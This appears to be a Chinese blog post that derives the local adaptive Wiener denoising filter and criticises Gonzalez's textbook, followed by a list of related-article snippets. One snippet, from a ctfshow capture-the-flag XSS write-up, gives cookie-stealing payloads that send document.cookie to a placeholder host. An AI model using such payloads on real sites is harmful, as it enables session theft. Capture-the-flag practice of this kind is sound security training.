我谈维纳(Wiener)去噪滤波器

Rafael Gonzalez的《数字图像处理》中,图像复原这章内容几乎全错。本篇只说去噪的问题。

关于图像去噪的滤波器,不考虑降质过程的滤波都不是逆问题。

  • Gonzalez将自适应中值滤波和自适应局部降噪滤波归并为自适应图像去噪滤波器。尽管它们都是滤波器,然而从本质上讲,自适应中值滤波属于图像增强,并不属于图像复原。而自适应局部降噪滤波器是在线性最小均方准则下推导的局部空域形式的维纳滤波器(我们的书中称为自适应维纳滤波器P159),因此,它属于图像复原。从严格意义上来讲,通过求逆的图像去噪不属于图像复原,本质上应归入图像重建,但是由于都是建立在降质模型基础上的逆问题,不严格来讲可以与图像复原合并。但是,不考虑降质模型的方法不能归入图像复原,这是因为图像增强和图像复原的处理方法和评价标准本质不同。

  • 均值滤波器、统计排序滤波器和陷波滤波器都不属于图像复原。这相当于频域滤波器可分为经典滤波器和现代滤波器,尽管都称为滤波器,然而前者属于增强,后者属于复原。

Rafael Gonzalez介绍的这个自适应局部降噪滤波器,实际上是维纳(Wiener)去噪滤波器,有完整的推导和假设,不是拍脑袋想的,他这里的描述完全没get到点上,很离谱。

在这里插入图片描述

现在推导这个维纳(Wiener)去噪滤波器。这是在线性最小均方准则下推导的局部空域形式的维纳滤波器。维纳复原滤波器已经推导出了维纳一霍普夫方程式。见禹晶、肖创柏、廖庆敏《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》P176

这里从维纳一霍普夫方程式开始:

W ( u , v ) = P f g ( u , v ) P g ( u , v ) W(u, v) = \frac{P_{fg}(u, v)}{P_g(u, v)} W(u,v)=Pg(u,v)Pfg(u,v)

维纳滤波器的假设条件是零均值、广义平稳随机过程,且该过程是遍历的,且 f f f, g g g不相关。

∵ \because f f f, η \eta η不相关

∴ \therefore Cov ⁡ ( f , η ) = E ( f η ) − E ( f ) E ( η ) = 0 \operatorname{Cov}(f, \eta) = E(f\eta) - E(f)E(\eta) = 0 Cov(f,η)=E(fη)E(f)E(η)=0

∵ \because f f f是零均值,即 E ( f ) = 0 E(f) = 0 E(f)=0

∴ \therefore E ( f η ) = 0 E(f\eta) = 0 E(fη)=0

经过推导可得(证明略): P g ( u , v ) = P f ( u , v ) + P η ( u , v ) P_g(u, v) = P_f(u, v) + P_\eta(u, v) Pg(u,v)=Pf(u,v)+Pη(u,v)

P f g ( u , v ) = P f ( u , v ) P_{fg}(u, v) = P_f(u, v) Pfg(u,v)=Pf(u,v)

∴ \therefore W ( u , v ) = P f ( u , v ) P f ( u , v ) + P η ( u , v ) W(u, v) = \frac{P_f(u, v)}{P_f(u, v) + P_\eta(u, v)} W(u,v)=Pf(u,v)+Pη(u,v)Pf(u,v)

由于零均值广义平稳随机过程的平均功率等于方差,假设局部区域的均值、方差均为常数,则有 P f ( u , v ) = σ f 2 P_f(u,v) = \sigma_f^2 Pf(u,v)=σf2 P g ( u , v ) = σ g 2 P_g(u,v) = \sigma_g^2 Pg(u,v)=σg2 P η ( u , v ) = σ η 2 P_\eta(u,v) = \sigma_\eta^2 Pη(u,v)=ση2。其中, σ f 2 \sigma_f^2 σf2 σ g 2 \sigma_g^2 σg2 σ η 2 \sigma_\eta^2 ση2分别表示原图像、降质图像和噪声的方差。

∴ \therefore
σ g 2 = σ f 2 + σ η 2 \sigma_g^2 = \sigma_f^2 + \sigma_\eta^2 σg2=σf2+ση2
W ( u , v ) = σ f 2 σ f 2 + σ η 2 = σ g 2 − σ η 2 σ g 2 W(u,v) = \frac{\sigma_f^2}{\sigma_f^2 + \sigma_\eta^2} = \frac{\sigma_g^2 - \sigma_\eta^2}{\sigma_g^2} W(u,v)=σf2+ση2σf2=σg2σg2ση2

假设随机过程是遍历的,其时间平均值等于系综平均值,即可以通过对单个实现的长时间观察来估计其统计特性。因此,利用局部均值作为统计均值。零均值的过程先减去均值,处理完加回均值。

f ( x , y ) = u g + σ g 2 − σ η 2 σ g 2 ( g ( x , y ) − u g ) = u g + ( 1 − σ η 2 σ g 2 ) g − ( 1 − σ η 2 σ g 2 ) u g = g ( x , y ) − σ η 2 σ g 2 ( g ( x , y ) − u g ) \begin{aligned} f(x, y)& = u_g + \frac{\sigma_g^2 - \sigma_\eta^2}{\sigma_g^2} (g(x, y) - u_g)\\ &= u_g + (1 - \frac{\sigma_\eta^2}{\sigma_g^2}) g - (1-\frac{\sigma_\eta^2}{\sigma_g^2}) u_g \\ &= g(x, y) - \frac{\sigma_\eta^2}{\sigma_g^2} (g(x, y) - u_g) \end{aligned} f(x,y)=ug+σg2σg2ση2(g(x,y)ug)=ug+(1σg2ση2)g(1σg2ση2)ug=g(x,y)σg2ση2(g(x,y)ug)

σ g 2 \sigma_g^2 σg2的计算可以用这个公式,下面MatLab的算法中使用的是这个。
σ g 2 = V a r ( g ) = E [ g 2 ] − [ E ( g ) ] 2 \sigma_g^2 = Var(g) = E[g^2] - [E(g)]^2 σg2=Var(g)=E[g2][E(g)]2

然后根据公式做解释:
Wiener 滤波器可自行适应图像局部方差。当方差 σ g 2 \sigma_g^2 σg2较大时,wiener2 几乎不执行平滑处理。当方差 σ g 2 \sigma_g^2 σg2较小时,wiener2 执行更多平滑处理,若 σ η 2 σ g 2 = 1 \frac{\sigma_\eta^2}{\sigma_g^2}=1 σg2ση2=1,返回的就是局部均值 u g u_g ug

MatLab中给的函数是wiener2。因为是维纳滤波,所以是复原。但是自适应中值滤波、均值滤波器、统计排序滤波器和陷波滤波器这一堆都没有降质模型假设。
在这里插入图片描述
根据局部常数假设,当噪声是恒定功率(“白色”)加性噪声(如高斯噪声)时,wiener2 效果最佳。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/911516.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络:网络层 —— 多播路由选择协议

文章目录 多播路由选择协议多播转发树构建多播转发树基于源树的多播路由选择建立广播转发树建立多播转发树 组共享树的多播路由选择基于核心的生成树的建立过程 因特网的多播路由选择协议 多播路由选择协议 仅使用 IGMP 并不能在因特网上进行IP多播。连接在局域网上的多播路由…

vscode ssh连接autodl失败

autodl服务器已开启,vscode弹窗显示连接失败 0. 检查状态 这里的端口和主机根据自己的连接更改 ssh -p 52165 rootregion-45.autodl.pro1. 修改config权限 按返回的路径找到config文件 右键--属性--安全--高级--禁用继承--从此对象中删除所有已继承的权限--添加…

阿里云-部署CNI flannel集群网络

环境 1.一台阿里云作为k8s-master:8.130.XXX.231(阿里云私有IP) 2.Vmware 两个虚拟机分别作为 k8s-node1:192.168.40.131 k8s-node2:192.168.40.131 3.安装Docker 部署过程 k8s-master,k8s-node1,k8s-node2 初始操作 # 关闭防火墙 systemctl stop fi…

CentOS 7 软件/程序安装示例

安装软件/程序 wget,前提需要用 root 用户 1、搜索软件/程序 yum search wget 搜索到软件/程序。 2、安装软件/程序 yum -y install wget 安装完成。 ---------------------------------------------------------------------------------------------------…

[HCTF 2018]WarmUp 1--详细解析

打开靶机&#xff0c;进入界面&#xff1a; 信息搜集 当前界面没有任何有用信息。 想到查看页面源代码。右键–查看页面源代码 看到hint&#xff1a;<!--source.php--> 进入/source.php页面&#xff0c;看到页面源代码&#xff1a; <?phphighlight_file(__FILE_…

Python的函数

一、定义 函数的定义&#xff1a;实现【特定功能】的代码块。 形参&#xff1a;函数定义时的参数&#xff0c;没有实际意义 实参&#xff1a;函数调用/使用时的参数&#xff0c;有实际意义 函数的作用&#xff1a; 简化代码提高代码重用性便于维护和修改提高代码的可扩展性…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

MySQL server 免安装教程

1&#xff0c;下载免安装包-社区版本 https://dev.mysql.com/downloads/file/?id534320 2&#xff0c;解压 放到一电脑某个路径下&#xff0c;整个包 3&#xff0c;创建data 文件夹和my.ini文件 my.ini代码照抄&#xff0c;注意修改路径&#xff0c;与解压后的安装包地址一…

使用ookii-dialogs-wpf在WPF选择文件夹时能输入路径

在进行WPF开发时&#xff0c;System.Windows.Forms.FolderBrowserDialog的选择文件夹功能不支持输入路径&#xff1a; 希望能够获得下图所示的选择文件夹功能&#xff1a; 于是&#xff0c;通过NuGet中安装Ookii.Dialogs.Wpf包&#xff0c;并创建一个简单的工具类&#xff1a; …

Java项目实战II基于Spring Boot的便利店信息管理系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在快节奏的…

SpringBoot整合Liquibase对数据库管理和迁移

简介 Liquibase是一个用于用于跟踪、管理和应用数据库变化的开源工具&#xff0c;通过日志文件(changelog)的形式记录数据库的变更(changeset)&#xff0c;然后执行日志文件中的修改&#xff0c;将数据库更新或回滚(rollback)到一致的状态。它的目标是提供一种数据库类型无关的…

练习LabVIEW第四十三题

学习目标&#xff1a; 模拟红绿灯&#xff0c;红灯亮十秒&#xff0c;绿灯亮五秒&#xff0c;交替&#xff0c;并用波形图将波形显示 开始编写&#xff1a; 前面板 两个指示灯&#xff0c;一个红色&#xff0c;一个绿色&#xff0c;一个波形图&#xff1b; 程序框图 创建…

针对解决前后端BUG的个人笔记

1-IDEA Q&#xff1a;Required Java version 17 is not supported by SDK 1.8. The maximum supported Java version is 8. A: 我们只知道IDEA页面创建Spring项目&#xff0c;其实是访问spring initializr去创建项目。故我们可以通过阿里云国服去间接创建Spring项目。将https…

ElasticSearch 添加IK分词器

ElasticSearch 添加IK分词器 前言一、IK分词器的算法二、Ik分词器的下载安装&#xff08;Winows 版本&#xff09;三、Ik分词器的下载安装&#xff08;Linux 版本&#xff09;四、验证测试&#xff08;postman工具&#xff09;测试 ik_smart 分词算法测试 ik_max_word 分词算法…

Android关机流程知多少?

在 Android 中&#xff0c;关机流程涉及系统各个组件的协同工作&#xff0c;确保设备在断电之前能够安全地关闭所有活动并保存数据。以下是 Android 系统中关机流程的详细介绍&#xff1a; 1. 用户触发关机请求 关机流程由用户的操作触发&#xff0c;通常有以下几种方式&#…

Golang | Leetcode Golang题解之第542题01矩阵

题目&#xff1a; 题解&#xff1a; type point struct{x, y int }var dirs []point{{-1, 0}, {1, 0}, {0, -1}, {0, 1}}func updateMatrix(mat [][]int) [][]int {var m, n len(mat), len(mat[0])var res make([][]int, m)var visited make([][]bool, m)var queue []poin…

基于ssm的小区物业管理系统

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…

_处理匿名命名空间里的变量时进入硬件中断错误

最近在初次使用匿名空间时出现一个很离谱的错误&#xff0c;我先简单描述一下情形&#xff1a;在匿名命名空间里有一个变量&#xff08;全局&#xff09;&#xff0c;在命名空间外&#xff0c;有一个内联函数操作该空间内的变量。 如果开优化&#xff0c;那么程序就会进入硬件错…

esp32学习:利用虫洞ESP32开发板,快速实现无线图传

我们的虫洞开发板&#xff0c;能够完美运行esp who AI代码&#xff0c;所以实现无线图传那是非常容易的&#xff0c;我们先看看examples目录&#xff1a; 里面有比较多的web例程&#xff0c;在这些例程下&#xff0c;稍作修改&#xff0c;就可以快速实现我的图传无线功能&#…

芯片需要按一下keyup或者复位按键虚拟或者下载之后芯片能下载却运行不了或者需要额外供电。

这些问题很有可能是因为外围电路器件幅值与设计不同的存在&#xff0c;导致你需要外部供电才能实现一个正常运行&#xff0c;可以检查一下外围电路在供电区域的电流区&#xff0c;电阻幅值是否和原理图设计时看的一模一样或者直接更换 因为按键会失灵&#xff0c;首先检查复位按…